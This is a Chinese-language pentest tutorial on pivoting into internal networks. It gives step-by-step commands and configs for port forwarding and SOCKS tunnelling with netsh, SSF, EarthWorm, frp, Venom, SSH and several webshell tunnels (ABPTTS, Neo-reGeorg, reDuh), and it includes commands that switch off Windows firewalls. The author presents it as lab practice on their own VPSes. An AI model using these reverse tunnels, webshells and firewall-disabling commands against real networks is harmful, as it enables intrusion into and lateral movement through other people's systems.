内网穿透

内网穿透

0x00 环境-工具

0x00-1 靶场介绍

以下端口转发和代理都是自己的VPS做演练。

Linux:      207.148.119.98
Windows:     45.76.153.192

0x00-2用到的转发|代理工具:

ssf             https://www.ctolib.com/article/releases/68618
abptts          https://github.com/nccgroup/ABPTTS
earthworm       http://rootkiter.com/EarthWorm
frp             https://github.com/fatedier/frp
Neo-reGeorg     https://github.com/L-codes/Neo-reGeorg
reDuh           https://github.com/sensepost/reDuh
Venom           https://github.com/Dliv3/Venom
                https://github.com/Dliv3/Venom/releases/download/v1.1.0/Venom.v1.1.0.7z

0x00-3 流量代理工具

proxifier       https://www.proxifier.com
proxychains     apt install proxychains

0x01 netsh端口转发

条件:管理员权限 用windows自带的netsh

netsh firewall show config              查看防火墙配置
netsh firewall show state               查看当前系统防火墙状态 
netsh interface portproxy show all      查看端口转发

img

img

img

img

把来自外部的 tcp 的 10086 端口流量全部转发到内网机器的 3389 端口上 
建立规则:
netsh advfirewall firewall add rule name="aaaaaa" dir=in action=allow protocol=TCP localport=10086
netsh interface portproxy add v4tov4 listenport=10086 connectaddress=127.0.0.1 connectport=3389
netsh firewall show state
netsh interface portproxy show all
删除规则:
netsh advfirewall firewall delete rule name="aaaaaa" dir=in protocol=TCP localport=10086
netsh interface portproxy delete v4tov4 listenport=10086
netsh firewall show state
netsh interface portproxy show all

img

img

远程登陆连接目标IP:10086端口

img

a) 关于 netsh 在 2003 下的操作命令相对于之后的系统有所不同,这里稍微注意下 
# netsh firewall show state  查看当前系统防火墙状态 
# netsh firewall set opmode disable 关闭当前系统防火墙 
# netsh firewall set opmode enable 启用当前系统防火墙
b) 对于 2003 以后的系统,可使用如下的命令管理防火墙 
# netsh advfirewall show allprofiles    查看当前系统所有网络类型的防火墙状态,比如,私有,公共,域网络 
# netsh advfirewall set allprofiles state off  关闭当前系统防火墙 
# netsh advfirewall set allprofiles state on  启用当前系统防火墙 
# netsh advfirewall reset        重置当前系统的所有防火墙规则,会初识到刚装完系统的状态 
# netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志位置 
add 为增加规则,
delete 为删除规则 
allow 为允许连接, 
block 为阻断连接 
in 为入站,
out 为出站 
name 为要显示的规则名称

0x02 ssf正反向跨平台socks代理

反向代理:将ssf.exe和certs文件夹传到靶机里,然后在ssf.exe的目录下运行程序
正向代理:将ssfd.exe和certs文件夹传到靶机里,然后在ssfd.exe的目录下运行程序

0x02-1 SSF 反向 socks 代理

靶机       Linux      207.148.119.98
攻击机     Windows    45.76.153.192        安装proxifier做socks代理 
第一步:本地监听1050端口 
ssfd.exe -p 1050
./ssfd -p 1050

img

第二步:目标边界连接我们的1050端口,并将数据转发给1051端口
ssf.exe -F 1051 -p 1050 45.76.153.192
./ssf -F 1051 -p 1050 45.76.153.192

img

img

第三步:本地proxifier代理本地127.0.0.1的1051端口

img

第四步:成功代理上目标边界,现在即可访问内网

img

0x02-2 SSF 正向 socks 代理

为什么要讲正向代理呢,要是目标的防火墙设置比较严,只准进不准出,而我们又没有权限更改防火墙规则

那么我们就可以可以正向socks代理进去

靶机       45.76.153.192          ssfd.exe -p 1050                        监听
攻击机     207.148.119.98         ./ssf -D 1051 -p 1050 45.76.153.192      正向连接
第一步:目标边界监听1050端口 
ssfd.exe -p 1050
./ssfd -p 1050

img

第二步:攻击机连接目标边界的1050端口,并将数据转发给1051端口
ssf.exe -D 1051 -p 1050 45.76.153.192
./ssf -D 1051 -p 1050 45.76.153.192

img

第三步:本地proxifier代理本地127.0.0.1的1051端口

0x03 abptts正向端口转发

靶机       45.76.153.192          放置webshell
攻击机     207.148.119.98         python abpttsclient.py -c webshell/config.txt -u "http://45.76.153.192/abptts.jsp" -f 127.0.0.1:33389/127.0.0.1:3389

0x03-1 安装

git clone  https://github.com/nccgroup/ABPTTS.git
apt install python-setuptools
apt install python-pip
pip install --upgrade pip
python -m pip install pycrypto
python -m pip install pycryptodome
python -m pip install httplib2
cd ABPTTS
python abpttsfactory.py -o webshell

img

img

0x02 目标边界上传脚本

img

0x03 攻击机连接

命令格式:
python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.119/abptts.aspx" -f 本地内网IP:本地端口/目标边界内网IP:需要转发的目标边界的端口
# 将目标边界的3389转发到本地的33389端口上
python abpttsclient.py -c webshell/config.txt -u "http://45.76.153.192/abptts.jsp" -f 127.0.0.1:33389/127.0.0.1:3389

img

img

0x04 earthworm正反向跨平台socks代理

ew_for_Win.exe
-h 查看帮助
-s 指定链路状态(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、 lcx_tran)
ssocksd:正向socks5代理连接;
rcsocks、rssocks:反向socks5代理连接;
lcx_slave、lcx_listen:端口转发;
lcx_tran:端口映射;
-l 开放指定端口监听;
-d 指定转发或反弹的主机地址;
-e 指定转发或反弹的主机端口;
-f 指定连接或映射的主机地址;
-g 指定连接或映射的主机端口;
-t 设置超时时间,默认为10000毫秒,即10秒(单位毫秒,-h显示有误);
-v 显示版本;
-a 显示关于页面;
正向代理    ssocksd
反向代理    rcsocks,rssocks
端口转发    lcx_listen,lcx_slave,lcx_tran

0x04-1 反向socks代理

攻击机:     45.76.153.192       ew_for_Win.exe -s rcsocks -l 1080 -e 53             监听
目标边界:   207.148.119.98      ew_for_Win.exe -s rssocks -d 45.76.153.192 -e 53    反向连接

攻击机监听:

img

目标边界反弹:

img

攻击机成功收到

img

proxifier代理

img

0x04-2 正向socks代理

目标边界:   45.76.153.192       ew_for_Win.exe -s ssocksd -l 10085      开启监听
攻击机:     207.148.119.98      proxifier或者proxychains代理           45.76.153.192 10085

目标边界监听

img

攻击机配置代理

vi /etc/proxychains.conf
socks5 45.76.153.192 10085

img

攻击机使用代理执行命令

proxychains curl http://ip-api.com/json/?lang=zh-CN

成功代理

img

0x05 frp反向socks代理

0x05-1 工具下载地址

https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_windows_amd64.zip
https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_windows_386.zip
https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_linux_amd64.tar.gz
https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_linux_386.tar.gz

0x05-2 反向代理

攻击机:        45.76.153.192         frps.exe -c frps.ini        开启监听
目标边界:      207.148.119.98        ./frpc -c frpc.ini          反向连接

攻击机监听:

攻击机先配置frps.ini文件
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = www.nat.ee
开始监听
frps.exe -c frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000

img

img

目标边界反向连接

目标边界先配置frpc.ini文件
# frpc.ini
[common]
server_addr = 45.76.153.192         # 自己公网VPS的IP
server_port = 7000                  # 自己公网VPS监听的端口
token = www.nat.ee                  # 必须得有,否则会authorization failed
[http_proxy]
type = tcp
#local_ip = 127.0.0.1
#local_port = 22
remote_port = 8010                  # 公网VPS的proxifier设置的端口
plugin = socks5                     # 使用插件socks代理
plugin_user = abc                   # proxifier连接的账号密码
plugin_passwd = abc
执行反向连接命令:
./frpc -c frpc.ini
[common]
server_addr = 45.76.153.192
server_port = 7000
[http_proxy]
type = tcp
remote_port = 8010
plugin = socks5

img

img

攻击机成功收到

img

proxifier设置45.76.153.192 8010
并输入账号密码 abc abc

img

成功代理

img

0x06 Neo-reGeorg正向socks代理

目标边界:      45.76.153.192         放置webshell
攻击机:        207.148.119.98        python neoreg.py -k 123456 -u http://45.76.153.192:8080/tunnel.jsp

0x06-1 webshell生成

python neoreg.py generate -k 123456

img

0x06-2 目标边界上传脚本

img

0x06-3 攻击机连接

使用 neoreg.py 连接WEB服务器,在本地建立 socks 代理
python neoreg.py -k 123456 -u http://45.76.153.192:8080/tunnel.jsp

img

修改proxychains.conf,socks5 127.0.0.1 1080

img

使用proxychains成功代理上

img

0x07 reDuh正向端口转发

目标边界:      45.76.153.192         放置webshell
攻击机:        207.148.119.98        java -jar reduhclient.jar http://目标域名/reduh.php

0x07-1 目标边界放置webshell

img

0x07-2 攻击机连接

java -jar reduhclient.jar http://45.76.153.192:8080/reDuh.jsp

img

0x07-3 绑定端口-建立隧道

telnet 127.0.0.1 1010

img

0x07-4 端口转发

[createTunnel]要绑定到本地哪个端口上[8888]:127.0.0.1:要绑定远程机器上的哪个端口[3389,22] 
[createTunnel]8888:127.0.0.1:3389

img

成功连接

img

0x08 venom反向socks代理

目标边界:      45.76.153.192         agent.exe -rhost 207.148.119.98 -rport 9999
攻击机:        207.148.119.98        ./admin_linux_x86 -lport 9999

0x08-1 攻击机监听

./admin_linux_x86 -lport 9999

img

0x08-2 靶机反向连接

agent.exe -rhost 207.148.119.98 -rport 9999

img

0x08-3 攻击机成功接收

img

show                展现节点
goto 1              进入节点1
socks 6666          做socks代理,代理只需要连接207.148.119.98 6666即可代理上45.76.153.192
shell               进入交互式终端执行命令

img

img

成功代理

img

0x09 ssh端口转发和socks代理

-f 后台运行
-C 允许压缩数据
-N 不执行任何命令
-R 将端口绑定到远程服务器,反向代理
-L 将端口绑定到本地客户端,正向代理

下面的例子里,ssh端口是5510

60.247.XXX.XXX 香港VPS 模拟外网VPS

122.114.XXX.XXX 河南郑州VPS 模拟内网服务器

0x09-1 本地转发

ssh -fCNL <local port>:<remote host>:<remote port> <SSH hostname>
local port:转发到本地的端口
remote host:远程服务器的IP
remote port:远程服务器的端口
SSH hostname:本地服务器的IP或者主机名
因为是本地转发,将本地的88端口转发到本地的89端口,所以
local port = 89
remote host = 127.0.0.1
remote port = 88
SSH hostname = 127.0.0.1
-p参数指向本地服务器ssh的端口
在内网的服务器上运行
    ssh -fCNL 89:127.0.0.1:88 127.0.0.1 -p 5510
    curl http://127.0.0.1:89

img

本地转发需要输入当前服务器的密码

img

可以看到成功转发

img

0x09-2 远程端口转发

ssh -fCNR <remote port>:<local host>:<local port> <remote host>
将local host的local port转发到remote host的remote port
提示输入remote host的密码
在内网的服务器上(122.114.XXX.XXX)运行, 前提是内网服务器能够ssh到远程服务器60.247.XXX.XXX。将当前服务器的5510端口转发到远程服务器60.247.XXX.XXX的5500端口
    ssh -fCNR 5500:127.0.0.1:5510 root@60.247.XXX.XXX -p 5510
在外网自己的服务器(60.247.XXX.XXX)上运行,ssh外网自己服务器的5500端口就被转发到了内网服务器的5510端口
    ssh root@127.0.0.1 -p 5500

在内网服务器输入下面命令进行端口转发,需要输入远程服务器的密码

img

远程服务器(60.247.XXX.XXX)输入下面命令,ssh本地的5500端口,就会ssh到内网服务器(122.114.XXX.XXX)去

img

0x09-3 socks代理

建立反向代理呢?其实就是把正向代理和转发结合起来即可
前提条件:需要知道内网服务器的密码
内网进行端口转发,将本地的ssh端口5510转发到远程的5500端口,需要输入远程服务器的密码
    ssh -qngfNTR 5500:localhost:5510 root@60.247.XXX.XXX -p 5510

外网进行正向socks代理,ssh连接本地的5500端口,即连接到内网服务器,然后搭建正向socks代理。代理端口为6767,需要输入内网服务器的密码
    ssh -qngfNTD 6767 root@127.0.0.1 -p 5500

在内网输入下面命令,将内网的ssh端口转发到外网服务器的某个端口上

img

在外网的服务器输入下面命令,ssh连接本地的5500端口,即连接到内网服务器,然后搭建正向socks代理,socks端口为6767,需要输入内网服务器的密码

img

proxifier连接远程服务器的6767端口

img

0x09-4 删除端口转发

ps aux | grep ssh
kill <id>
kill -9 <id>

img

0x10 多层代理

img

img


   转载规则


《内网穿透》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。